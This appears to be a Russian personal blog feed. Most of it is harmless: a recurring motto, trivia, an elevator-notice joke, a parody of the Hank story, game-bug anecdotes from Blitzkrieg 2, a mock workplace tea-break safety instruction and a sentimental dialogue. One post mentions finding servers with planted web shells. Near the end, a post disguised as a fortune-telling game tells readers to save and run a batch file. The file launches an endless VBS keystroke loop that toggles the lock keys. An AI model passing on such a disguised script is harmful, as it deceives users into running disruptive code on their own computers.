Ознакомьтесь с нашей политикой обработки персональных данных
  • ↓
  • ↑
  • ⇑
 
19:20 

Упал, потерял сознание, очнулся...

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.
21:16 

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.

20:15 

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.
На самом деле, азбука, предложенная Самуилом Морзе, была неудобной и не прижилась. То, что мы называем азбукой Морзе - плод коллективного труда германских и австрийских инженеров середины XIX века.

20:01 

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.
Если число 111 111 111 помножить на себя самого, то получится интересное число 12 345 678 987 654 321 (все числа сначала возрастают, а потом убывают попорядку).

17:09 

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.
Самое большое число, имеющее название - центильон. Это единица с 600 нулями. Он был записан в 1852 году.

17:03 

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.
Научное название процесса поцелуя - филематология.

17:01 

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.
Международный телефонный код Антарктиды - 672.

15:45 

Из переписки в лифте (старенько, но всеже)

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.
Объявление в лифте:
«Уважаемые жильцы и гости.
Просьба не сорить в лифте.
12.01.2007
Администрация»

Чуть ниже – фломастером:
«Простите, прочитал объявление уже после того как отлил. 12.01.2007 15-30. Петя»

«Петя, ты мудак. Более того – ты мудак в пятом поколении. А поскольку ты тупой, объясню проще – и папа твой был мудак, и дедушка, и прадедушка, и так далее по генеалогическому древу.»

«Что вы, что вы? Был бы мой папа мудак – он бы тоже жил в этом подъезде. С удовольствием отлил опять в вашем лифте. И бросил фантик от конфеты - это вам за папу. И пачку сигарет тоже – это за дедушку. Петя.»

«Господа, к кому приходит этот сцыкун?»

«К вашей дочке, разумеется. Какая еще дура станет общаться с этим олигофреном?»

«Кто это написал? Подпишись, раз такой смелый.»

«гыгыг. Ваша жена это написала. Умная женщина, склонная к спокойному анализу ситуации. В отличие от остальных членов семьи.»

«Я же найду тебя, мразь. Найду и убью.Дал же бог соседей, а..»

«Господа, полно вам ссориться. Я ко всем вашим дочкам хожу и повсюду принимают с радостью. С уважением, Петя.
ПС: Уважаемая администрация, почему в лифте нет туалетной бумаги? Что за пренебрежение к гостям подъезда? Неужели жильцам так трудно скинуться на туалетную бумагу?»

«Скажите, Петр, а это не вы выкрутили лампочку в лифте, выломав защитную сетку? Ваш почерк ведь. Успокойте меня, подтвердите, что, кроме вас, к нам ни один мудак не заходит.»

«О чем вы говорите, а? Вы у себя в уборной лампочки тырите? Вот и я нет. К тому же, если я выкручу лампочку, как вы сможете прочесь и уяснить для себя, что рэп – это круто, что Лена – шалава, что Спартак – Чемпион? Для кого я это пишу на стенах? Так что нечего мне приписывать лишнего. Это просто в обычаях жителей этого подъезда – тырить у самих себя. Вы думаете когда у кого-то из вашего подъезда перегорает лампочка, он за лампочкой бежит в соседний подъезд, а не в лифт или на чужую лестничную площадку? Глупость какая! А, впрочем, чему я удивляюсь-то? Контингент в подъезде вполне себе соответствующий любой глупости. Петр.
ПС: Администрация, вы не могли бы подклеить к объявлению еще один лист бумаги? Негде же писать! Чем вы там занимаетесь в конце концов?»

На новом листе

«Господа! А ведь этот мерзкий заморыш в чем-то прав. В подъезде, по видимости, завелись крысы. Предупреждаю сразу: изловлю – сделаю инвалидом. Чтоб без обид потом было.»

«+1»

«+1»

«+1»

«+1»

«Я же говорил! Какой-то гадюшник.. Все готовы друг друга убить за лампочку. Тьфу.. Отлил в лифте без удовольствия уже. Петя.»

«Петя, передайте своей маме, что те сексуальные услуги, что она предоставляет на вокзале, не стоят даже тех мизерных денег, что она за них просит. Папе передайте тоже самое. Или, если не уверены кто из этих мужчин, живущих у вас дома, ваш папа – передайте это им всем сразу. Администрация.»

«А вот за такое можно и ответить по всей строгости понятий. Петя.»

«А ты стрелу забей, сцыкло. Администрация»

«Ага. Так я вам и дался на слаб.....»

«Господа, Петр не смог дописать последнее сообщение, поскольку был пойман на месте преступления, нещадно бит и в данный момент , по решению суда занимается ремонтом нашего подъезда. Всю эту переписку оставляем в назидание остальным Петеподобным.
Ура, господа!
Администрация.
ПС. Какая сволочь опять стырила лампочку?»

15:17 

Жопа Хэнка

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.
Утpом в мою двеpь постyчала паpочка. Пеpвым заговоpил мyжчина:
- Пpивет! Я Джон, а она - Мэpи.
Мэpи: Мы пpиглашаем тебя с нами целовать жопy Хэнкy!
Я: Пpостите? О чем вы? Кто такой Хэнк и с чего мне целовать его жопy?
Джон: Если ты поцелyешь жопy Хэнкy, он даст вам миллион доллаpов, а
если нет - он выбьет из тебя все деpьмо!
Я: Это что, какая-то новая молодежная тyсовка?
Джон: Хэнк - миллионеp-филантpоп. Он постpоил этот гоpод. Хэнк его
хозяин! Он может сделать, что хочет, а он хочет дать тебе миллион доллаpов, но не может, пока ты не поцелyешь емy жопy!
Я: Hо это бессмыслица! Какого хpена...
Мэpи: Кто ты такой, чтобы сомневаться во власти Хэнка? Ты что, не
хочешь миллион доллаpов? Hеyжели это не стоит того, чтобы поцеловать жопy?
Я: Может и стоит, но...
Джон: Тогда идем с нами целовать жопy.
Я: И часто вы целyете жопy Хэнка?
Мэpи: О да! Все вpемя!
Я: И он дал вам миллион доллаpов?
Джон: Hет! Мы полyчим деньги, как только покинем гоpод!
Я: Так почемy бы вам не покинyть гоpод пpямо сейчас?
Мэpи: Hельзя покидать гоpод, пока Хэнк не скажет, иначе он не даст
тебе денег и выбьет из тебя все деpьмо!

Я: А вы знаете кого-нибyдь, кто целовал жопy Хэнка, покинyл гоpод и
полyчил миллион доллаpов?
Джон: Моя мать целовала жопy Хэнка годами. Она yшла из гоpода в
пpошлом годy. Я yвеpен, что она полyчила деньги.
Я: Ты с ней об этом говоpил?
Джон: Конечно, нет! Хэнк не pазpешает это!
Я: Что же заставляет тебя дyмать, что ты полyчишь деньги, если ты
никогда не говоpил с тем, кто их полyчил?
Мэpи: Hо он дает тебе немного денег еще до того, как ты yйдешь из гоpода. Ты можешь полyчить повышение, выигpать немного в лотеpею, найти 20 доллаpов на yлице...
Я: А пpи чем же тyт Хэнк?
Джон: Сyществyет опpеделенная связь.
Я: Пpостите, но это звyчит очень глyпо!
Джон: Hо pади миллиона доллаpов стоит попpобовать. И помни, если ты не поцелyешь жопy Хэнкy, он выбьет из тебя все деpьмо!
Я: Может можно yвидеться с Хэнком, обсyдить детали...
Мэpи: Hикто не может видеть Хэнка, никто не может с ним говоpить!
Я: Как же тогда целовать емy жопy?
Джон: Иногда мы пpосто посылаем воздyшный поцелyй и дyмаем пpо его жопy, иногда целyем жопy Каpла, а он пеpедает Хэнкy.
Я: Какомy Каpлy? Кто такой Каpл?
Мэpи: Это наш дpyг. Именно он наyчил нас целовать жопy Хэнкy.
Я: И вы емy повеpили на слово, что Хэнк нагpадит вас, если вы бyдете целовать емy жопy?
Джон: Hет! Каpл полyчил письмо от Хэнка много лет назад, где все объясняется. Вот копия письма, посмотpи сам.
Джон пpотянyл мне фотокопию:

1. Целyйте жопy, Хэнкy и он даст вам миллион доллаpов, когда вы покинете гоpод!
2. Hе злоyпотpебляйте алкоголем.
3. Выбивайте все деpьмо из тех, кто вас не любит.
4. Питайтесь пpавильно.
5. Сам Хэнк пpодиктовал это письмо.
6. Лyна сделана из голландского сыpа.
7. Все, что говоpит Хэнк, пpавильно.
8. Мойте pyки после тyалета.
9. Hе пейте.
10. Hе ешьте остpые пpипpавы.
11. Целyйте жопy Хэнкy, или он выбьет из вас все деpьмо.
Я: Это вpоде бы написано на бyмаге Каpла?
Мэpи: У Хэнка нет бyмаги!
Я: У меня подозpение, что если пpовеpить, окажется, что это почеpк Каpла.
Джон: Конечно. Хэнк емy пpодиктовал.
Я: Вы ж говоpили, что никто не видел Хэнка!
Мэpи: Много лет назад он говоpил с некотоpыми людьми.
Я: Если он филантpоп, почемy же он выбивает все деpьмо из людей,взгляды котоpых отличаются?
Мэpи: Hа то воля Хэнка, а Хэнк всегда пpав!
Я: С чего вы это взяли?
Мэpи: Пyнкт 7 гласит: "Все, что говоpит Хэнк пpавильно!"
Я: А вдpyг ваш Каpл все это написал сам?
Джон: Так ведь пyнкт 5 говоpит: "Сам Хэнк пpодиктовал это письмо".Кpоме того, пyнкт 2 гласит: "Hе злоyпотpебляйте алкоголем", пyнкт 4: "Питайтесь пpавильно", а пyнкт 8: "Мойте pyки после тyалета". Все знают, что это пpавильно, значит и остальное веpно!
Я: Hо пyнкт 9 говоpит: "Hе пейте", что не согласyется с пyнктом 2. А в пyнкте 6 - вообще бpед пpо лyнy из сыpа!
Джон: Пyнкт 9 пpосто поясняет пyнкт 2. А по поводy 6-го, ты ведь никогда не был на лyне, откyда ты знаешь?
Я: Ученые доказали, что лyна из камня!
Мэpи: Hо камень может запpосто оказаться затвеpдевшим сыpом.
Я: Hезнание пpоисхождения камня совсем не говоpит о том, что это сыp.
Джон: Ученые могyт ошибаться, но мы ведь знаем, что Хэнк всегда пpав!
Я: Мы знаем?
Мэpи: Конечно, из 5-го пyнкта.
Я: Ты говоpишь, что Хэнк всегда пpав, потомy что так написано в письме.Письмо пpавильно, потомy что его пpодиктовал Хэнк. Хэнк пpодиктовал письмо, потомy что это написано в письме. Замкнyтый кpyг - Хэнк пpав потомy, что он говоpит, что он пpав.
Джон: Hаконец-то ты понял! Как пpиятно, когда кто-то начинает откpывать дyшy и мыслить по-Хэнковски.
Я: Hо... Ладно. А что насчет пpипpав?
Мэpи кpаснеет.
Джон говоpит: Пpипpавы есть нельзя. Так сказал Хэнк!
Я: Что, ни пеpца, ни гоpчицы?
Мэpи выглядит ошаpашеной.
Джон кpичит: Hе говоpи такие слова! Все пpипpавы - это хзнкохyльство!
Я: Так что, нельзя есть капyстy с майонезом?
Мэpи затыкает yши: Я этого не слышала! А-а-а-а-а-а-а!
Джон: Это отвpатительно! Только гадкие извpащенцы могyт такое есть...
Я: Я ем это все вpемя. Мне нpавится!
Мэpи падает в обмоpок.
Джон подхватывает ее и yходя оpет: Если б я только знал, что ты один из них, я даже не тpатил бы на тебя вpемя! Когда Хэнк бyдет выбивать из тебя все деpьмо, я бyдy стоять pядом и, смеясь, считать деньги. Я поцелyю жопy Хэнкy за тебя, майонезный пожиpатель гоpчицы!

19:06 

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.

14:10 

Баги (потырено)

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.
Если верить одной широко раскрученной байке, то в режиме огибания рельефа местности автопилот истребителей F-16 израильских ВВС выходил из строя при полете над Мертвым морем. Высота машины в какой-то момент пересекала отметку "уровня моря", происходило деление на ноль отчего у автопилота приключался паралич мозга.

Чего уж говорить, если фирма Lockheed Martin может так опростоволоситься, то что взять с нас, простых разработчиков игрушек?

На моей памяти из проектов Nival Interactive наиболее урожайным на комичные баги был Блицкриг 2. Если кто не знает, это такая стратегия на тему второй мировой. Очень кстати смешная даже и без багов. У нас был строгий немецкий издатель, а немцы они страсть какие пугливые до всего что связано с их нацистским прошлым. Упоминать имя фюрера нельзя, слова типа "нацистский", "фашистский" тоже табу, даже свастика у нас была не настоящая, а стилизованная. И это при том, что между миссиями у нас были ролики, поясняющие какие-то исторические события связанные с игровым процессом. В результате получилась эдакая гламурная войнушка в стиле галантного века только с танками и бомбардировщиками без особых претензий на историчность. Кстати, видя какое у нас получается непотребство, наш военный консультант попросил убрать из титров его имя :)

ФАУ-2 - это такая немецкая мегапетарда. Германия ими под конец войны докучала Великобритании, но без особого успеха. Вундерваффе страдало от кучи детских болезней и хорошо если могло оторваться от земли. Зачастую взрывалась прямо на стартовом столе, а уж коли отрывалось да еще и летело в сторону Англии, то уж вообще успех. Горючее, между прочим, 3,5 тонны этилового спирта :)

Ну, сделали и мы в Блицкриге эту самую ракету. Как и немцы, сделали ее уже ближе к концу проекта и соорудили на базе объекта "самолет". Но программисты несколько схалтурили и не пооткручивали у бывшего самолета подозрительную для баллистической ракеты функциональность. Оказалость, что если во время полета к цели начинал идти дождь или снег, то во-первых ракета говорила человеческим голосом "Fliege zuruck"(нем. лечу назад), а во-вторых разворачивалась и летела обратно на базу. Фигли там, погода то нелетная.


А еще был у нас замечательный юнит - отряд спецназовцев. Войска у нас могут получать в ходе миссии опыт, а за опыт дают всякие интересные способности. Так вот, донельзя прокачанные спецназовцы получали возможность маскироваться под вражескую пехоту. Достаточно было просто кликнуть в отряд неприятельских солдатиков, и наши бойцы переодевались в их форму. Можно было безнаказанно разгуливать по вражеской базе. Ну, до первого выстрела, конечно.

Но, беда в том, что в Блицкриге кроме собственно пехоты еще были всякие антуражные юниты, типа коров, свиней и собак. Выяснилось, что спецназ вовсе не чурается переодевания в бобиков и хавроний. Если учесть, что механизм этого самого переодевания несколько глючил и часть отряда можно было нарядить в одну форму, часть в другую, то можно было создавать совершенно безумные подразделения. Например, отряд из собак, свиней и панцергренадеров. Учитывая, что отряду можно отдавать всякие приказы типа "маршировать", "ползти" и т.д., то игроку предоставлялась уникальная возможность полюбоваться марширующими свиньями. Получалось это у них, впрочем, паршиво, потому что скелет свиньи не соответствует скелету пехотинца и выглядит это как отряд ездящих не попе хрюшек. А еще этот цирк-шапито можо было запихать в окоп. Сидят, значит, свиньи с собаками в окопе и периодически из него выглядывают.

Со свиньями был связан, кстати, еще один баг, из-за которого игра падала. В какой-то момент программисты что-то такое там подкрутили и свиньи перестали быть нейтральными, а обрели возможность принадлежать какому-то игроку. Управлять ими было нельзя, но формально они могли быть "наши" или "ненаши". Так вот свиньи роняли игру. Потому что видя неприятеля, патриотичная хавронья хотела дать врагу отпор и лезла за оружием, которого у нее естественно не было. Если мне не изменяет память, программисты исправили баг, просто выдав свинье пистолет Люгер без патронов. Визуально это никак не видно, но формально, теперь, видя врага, она лезет за оружием, видит что патронов нет и на этом успокаивается.

Кстати, собака, в отличие от свиньи, может кусаться. И число укусов у нее ограничено, кабы не соврать, десятью тысячами. Потом у барбоса кончаются "патроны", и он становится безобидным. Кстати интересный вопрос, я не проверял, будет ли грузовик снабжения, который подвозит боеприпасы, подносить патроны собаке?

Ладно, потом может еще напишу про баги из Heroes of Might and Magic V. Там, правда, как-то именно смешных багов было не много (зато других навалом). Даже сходу и вспомнить то ничего не могу.

12:23 

Инструкция по охране труда

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.
Настоящая инструкция разработана с учетом санитарно-эпидемиологических правил и норм Министерства здравоохранения и социального развития Российской Федерации, требований производственной гигиены, требований законодательных и иных нормативных правовых актов, содержащих государственные требования охраны труда, а также межотраслевых правил по охране труда и предназначена для процедуры чаепития в перерывы, регламентированные внутренним трудовым распорядком ООО «XXXXXX-X» (далее — Общество).

1. Общие требования безопасности

1.1. Под процедурой чаепития в настоящей инструкции понимается процедура потребления напитков: чай, кофе, соки, вода питьевая, безалкогольные напитки (далее — чаепитие).

1.2. Посуда отмытая, сухая и инвентарь для чаепития хранится в отведенном месте.

1.3. Посуда и инвентарь для чаепития используются только исправные, без трещин, сколов, зазубрин.

1.4. Оборудование, применяемое для подогрева воды (электрочайники, электрокафеварки, кулеры и др.), должно быть оснащено встроенными предохранительными устройствами для защиты от перегрузки по току.

1.5. Сахар, чай, кофе, конфеты, хлебобулочные изделия (выпечку) хранить отдельно от документов (для ИТР) в отведенном месте.

1.6. Воду питьевую использовать только чистую артезианскую бутилированную воду, поставленную специализированными предприятиями в бутылях емкостью 18,9 литров, при наличии санитарно-эпидемиологического заключения о качестве воды.

1.7. Время начала и длительность чаепития в регламентированные перерывы определены в соответствии с внутренним трудовым распорядком Общества.

1.8. Место чаепития:

• для ИТР – рабочий стол или отведенный для чаепития стол в рабочем помещении;
• для рабочих - стол в помещении приема пищи.

1.9.Сотрудникам, занятым на работах с вредными производственными факторами, запрещается чаепитие на рабочем месте в соответствии с требованиями санитарно-эпидемиологических правил и норм Министерства здравоохранения и социального развития Российской Федерации.

1.10.Запрещается во время чаепития устанавливать емкости с напитками на выдвижные элементы системного блока, на корпуса монитора, системного блока, принтера, сканера.

1.11.Запрещается устанавливать еду, емкости с напитками, посуду, инвентарь и электронагревательные приборы для приготовления напитков для чаепития на подоконники окон – для предотвращения травм:

• от лопнувшего стекла под воздействием парообразования из электронагревательного прибора в процессе приготовления кипятка;
• от опрокидывания всего, что установили на подоконник, при внезапном повороте незакрепленной створки окна под воздействием порыва ветра.

1.12.Запрещается устанавливать емкости с горячими напитками - на столешницу рабочего стола (при отсутствии теплоизолирующей подставки).

1.13.Электрочайник, электрокофеварку устанавливать (перед применением) на прочную, ровную поверхность.

1.14.Помещение, где используется оборудование, применяемое для подогрева воды (приготовления напитков), должно быть сухим с относительной влажностью воздуха не более 80%.

1.15.На работника, во время чаепития, могут воздействовать следующие вредные и опасные производственные факторы:

• повышенная температура емкости с напитком и напитка;
• острые кромки, зазубрины на поверхностях посуды, инвентаря;
• разбрызгивание кипятка при заполнении чашек, бокалов;
• опасность поражения электрическим током.

1.16.В процессе чаепития сотрудник обязан выполнять правила внутреннего трудового распорядка, принятые в Обществе.

1.17.Допуск посторонних лиц, а также работников в состоянии алкогольного или наркотического опьянения на место чаепития запрещен.

1.18.Для обеспечения установленного противопожарного режима в Обществе, пожаро — и взрывобезопасности в помещении чаепития - курить только в установленном месте.

1.19.Сотрудник, во время чаепития, обязан немедленно извещать своего непосредственного руководителя или вышестоящего руководителя Общества о любой ситуации, угрожающей жизни и здоровью людей, о каждом несчастном случае, происшедшем при проведении чаепития или об ухудшении состояния своего здоровья.

1.20.Сотрудник должен знать и соблюдать правила производственной санитарии и личной гигиены.

2. Требования безопасности перед началом чаепития

2.1. Проверить визуальным осмотром исправность электрооборудования, применяемого для чаепития. Оборудование должно быть исправно. Шнур электропитания и вилка не должны иметь повреждений электроизоляции.

2.2. Вилка и розетка должны быть выполнены с контактом заземления. Доступ к сетевой розетке электропитания не должен быть ограничен препятствиями.

2.3. Запрещается применять электрооборудование для чаепития при наличии неисправностей, описанных в руководстве по эксплуатации заводом-изготовителем, при которых эксплуатация запрещена.

2.4. Перед включением вилки шнура электропитания электрооборудования в розетку, убедитесь в надежности крепления розетки и отсутствии повреждений корпуса розетки.

2.5.При выявлении неисправностей запрещается самостоятельно устранять обнаруженные неисправности. Необходимо вызвать электромонтера.

2.6. Запрещается применять электрооборудование (электрокипятильников) для чаепития при отсутствии штатных устройств защиты по току.

2.7. Освободить на рабочем столе место для чаепития. Протереть освобожденное место столешницы салфеткой.

2.8. Вымыть руки с мылом перед чаепитием.

2.9. Расставить посуду, еду, теплоизолирующие прокладки (под емкости с горячими напитками) на освобожденном месте столешницы стола в удобном для чаепития порядке, предусмотрев свободный доступ к телефону (при чаепитии ИТР).

2.10 Проверить визуальным осмотром перед чаепитием посуду и инвентарь для чаепития на отсутствие трещин, сколов, зазубрин.

2.11. Влить в электронагревательное оборудование бутилированную воду, исключая попадание влаги на поверхность столешницы мебели.

2.12. Удалить немедленно при помощи салфетки со столешницы мебели разлитую влагу для исключения вздутий и растрескивания ламината столешницы.

2.13. Уровень воды в электронагревательном оборудовании должен быть в пределах уровня, допустимого заводом-изготовителем: больше min уровня, меньше max уровня.

2.14. Вставить вилку шнура электропитания в сетевую розетку, перевести выключатель в положение «I» (включено) и произвести кипячение воды (приготовление кофейного напитка). Не разрешается оставлять без присмотра включенные электронагревательные приборы.

3. Требования безопасности во время чаепития

3.1. Применять в процессе чаепития только исправную посуду и инвентарь: без сколов, без трещин, без зазубрин. В процессе чаепития использовать посуду и инвентарь только по назначению.

3.2. Потреблять только свежую пищу (без признаков порчи) с непросроченными датами потребления, указанными на упаковке.

3.3. В процессе потребления напитка (чая, кофе, сока, воды) и выпечки быть осторожным при разговорах для исключения попадания выпечки в дыхательные пути.

3.4. При помешивании чайной ложечкой напитка в чашке, стакане исключить попадание жидкости на столешницу стола. С целью предотвращения травмы глаз приступать к потреблению напитка только после удаления чайной ложечки из емкости с напитком.

3.5. Запрещается потребление напитка с высокой температурой для исключения ожога губ, языка, гортани. Рекомендуется потребление напитка производить небольшими глотками.

3.6. Перед началом чаепития произвести пробное потребление порции напитка при помощи чайной ложечки. В целях ускорения охлаждения напитка рекомендуется производить помешивание напитка чайной ложечкой или оставить на некоторое время чайную ложечку в емкости с напитком.

3.7. В целях исключения падения со стула, опрокидывания стула запрещается раскачиваться, сидя на стуле: отрывать от пола 2 и более ножек стула.

3.8. Запрещается, есть пищу, фрукты с лезвия ножа.

3.9. Удалить со стола следы разлитой жидкости салфеткой для исключения вздутий и растрескивания ламината столешницы стола.

4. Требования безопасности в аварийных ситуациях

4.1. При несчастном случае во время чаепития, обнаружении аварийной ситуации, угрожающей жизни и здоровью сотрудников Общества: поражения электрическим током сотрудников, получения ожогов, отравлении или заболевании сотрудник обязан:

• немедленно приостановить чаепитие и сообщить о случившемся руководителю структурного подразделения или вышестоящему руководителю Общества;
• организовать первую помощь пострадавшему и при необходимости, доставку его в учреждение здравоохранения;
• сохранить до начала расследования несчастного случая обстановку, какой она была на момент происшествия, если это не угрожает жизни и здоровью других работников. В случае невозможности сохранить обстановку - зафиксировать ее (составить схемы, сделать фотографии и т.д.).

4.2 При возникновении пожара сотрудник должен принять наиболее эффективные меры для его тушения: обесточить оборудование, принять меры по герметизации помещения от воздушных потоков, сообщить через других работников руководителю о пожаре, организовать звонок в охрану Общества (телефон -XXX, XXX) и, при необходимости, в пожарную часть (телефон - 01).

4.3 Когда пострадавший подавился кусочком пищи необходимо хлопнуть его ладонью по спине между лопатками, избегая чрезмерного прикладывания усилия. При необходимости, пригнуть грудь к коленям и повторить хлопки.

4.4 Смазать йодовой настойкой по краям небольшие царапины и раны, повязать марлевым тампоном, бинтом.

4.5 При получении ожога I степени (симптомы: боль, покраснение кожи, отек) немедленно произвести охлаждение места ожога водой (не менее 10 – 15 минут). Можно приложить лед.

4.6 Запрещается касаться ожоговой раны пальцами, или каким либо предметом, вскрывать, прокалывать пузыри кожи, обрабатывать место ожога маслом, кремом, мазями.

4.7 После снятия воздействия электрического тока пострадавшего положить, подстелив что - либо.

4.8 Помощь пострадавшему от электрического тока:

• при отсутствии клинической смерти – первая медицинская помощь по показаниям: при необходимости, искусственное дыхание: «рот-рот» и непрямой массаж сердца;
• обеспечение полного покоя, вызов скорой медицинской помощи;
• госпитализация.

4.9. При получении травмы с сильным кровотечением наложить жгут. Использовать стандартные резиновые жгуты Эсмарха, ленточные, матерчатые, жгут-закрутку или подручные средства: ремень, резиновую трубку, шарф.

• жгут накладывать выше места ранения сосуда. Обязателен контроль пульса на периферии конечности;
• давление от жгута должно быть достаточным для остановки кровотечения, но не вызывать полного обескровливания конечности. Время нахождения жгута на конечности не более 1,5 – 2 час;
• через каждые полчаса - час жгут распускать на несколько минут (на это время сосуд выше жгута пережимают пальцем). Бороздку от жгута слегка массируют. Жгут накладывают вновь несколько выше прежнего положения;
• пострадавшего госпитализируют. К жгуту обязательно прикрепляют памятку с указанием даты, времени, фамилии спасителя.

4.10. При отравлении некачественной пищей промыть желудок теплой кипяченой водой в объеме 1,5-2 литра, принять таблетку активированного угля, обратиться к врачу.

4.11. Вывести пострадавшего от отравления (при пожаре) из зоны поражения на свежий воздух, освободить от стесняющей одежды, предоставить полный покой до прибытия скорой медицинской помощи.

4.12. При обнаружении запаха газа или прорыве трубопроводов (водоснабжения, канализации, отопления и других), срочно известить своего непосредственного или вышестоящего руководителя Общества.

5. Требования безопасности по окончании чаепития

5.1. Удалить остатки заварки, кожуру от фруктов, упаковку от пищи в корзину для бытового мусора (внутри корзины должен быть вложен полиэтиленовый пакет).

5.2. Вымыть посуду и инвентарь после чаепития под краном (для ИТР), складировать чистую посуду и инвентарь для чаепития в отведенном месте.

5.3. Убрать остатки пищи в отведенное место хранения. Скоропортящуюся пищу хранить в холодильнике и потреблять в течение срока годности, указанного на упаковке.

5.4. Обесточить электронагревательные приборы для приготовления кипятка, напитка кофе.

5.5. Вымыть руки теплой водой с мылом.

5.6. Сообщить руководителю работ обо всех неполадках, возникших во время проведения чаепития.

18:52 

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.

20:27 

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.
«Это невозможно!» — сказала Причина.
«Это безрассудство!» — заметил Опыт.
«Это бесполезно!» — отрезала Гордость.
«Попробуй…» — шепнула Мечта.

16:03 

Мама

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.
- Мама, а откуда приходит солнышко?

- А оно приходит из-за тучек и светит нам весь день, а потом снова уходит, чтобы мы могли лечь спать...



- Мама, а почему тот мальчик в садике, всегда показывает мне язык и дергает за косичку?

- А ты не обращай внимания, он просто показывает как ты ему нравишься!...



- Мама, а я правильно прочитала слово: «мо – ло – ко»?

- Да, солнышко, молодец. Ты у меня самая хорошая...



- Мама, помоги сделать математику, а то эта учительница ничего не может нормально объяснить...

- Давай попробуем решить. А плохих людей не бывает, их просто нужно уметь слушать и задавать вопросы, если тебе что-то не понятно...



- Мама, а он сказал, что я ему нравлюсь.

- Какая ты у меня все-таки красивая. Раз сказал, значит действительно так...



- Мам, он мне не позвонил, что делать?

- Не расстраивайся, наверное у него что-то случилось...



- Кать, расскажи, что у тебя сегодня было интересного!

- Мам, отстань, я очень устала, не хочу с тобой сейчас говорить...



- Дочка, уже поздно, не ходи пожалуйста гулять.

- Это моя жизнь, не вмешивайся, куда хочу, туда иду...



- Дочка...

- Мам, ты меня уже достала, отстань. Я сама разберусь...



- Мама, он мне сделал предложение!

- Я за тебя рада, он хороший человек. Соглашайся, он тебя любит...



- Мам, что делать, у Ванечки температура!

- Я сейчас приеду...



- Мам, посиди с Ванечкой. Мы с Сережой сегодня идем в гости.

- Конечно я вам помогу...



- Ребята, мне кажется...

- Мам, не мешай нам жить. У нас и без тебя проблем много...



- Катя, мне нужна твоя...

- Мам, я не могу, много дел. Позвони как-нибудь в другой раз...



- Дочка мне тяжело одной!

- Мам, ничего не могу поделать. Мы сейчас хотим завести второго ребенка...



- Дочка я...

- Позвони завтра...



- Мама, я бы хотела…Мама, мама, мамочка!!!

- ...

19:07 

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.
> Если кого-либо обижает слово "блондинко", закрасьте его на экране маркером.

18:42 

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.
.

@музыка: D:\music\Чайф#\1990 - Давай вернемся\03 - Оставь нам нашу любовь.mp3

19:49 

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.
пипец. нашел ломаные серваки, нашел внедренные шелы.
хотел сообщить владельцам сайтов. и что? а ничего. не смог. ну нет у них контактов. нет!
ну и пусть себе сидят с шелами, бурундуки необразованные.

21:26 

очередная гадалка (только для безстрашных)

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.
вставь этот текст в txt документ, в расширении поставь .bat открой его и увидишь свою судьбу!!!

echo Chr(39)>%temp%\temp1.vbs
echo Chr(39)>%temp%\temp2.vbs
echo on error resume next > %temp%\temp.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs
echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs
echo do >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{capslock}" >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{numlock}" >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{scrolllock}" >> %temp%\temp.vbs
echo loop>> %temp%\temp.vbs
start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs

12:11 

простые дайсики и ловкость рук

сделав ошибку, не изводи себя упреками, но осознай свое заблуждение - и тем стань сильнее.

00:02:30 / 7.48Mb

тусклая

главная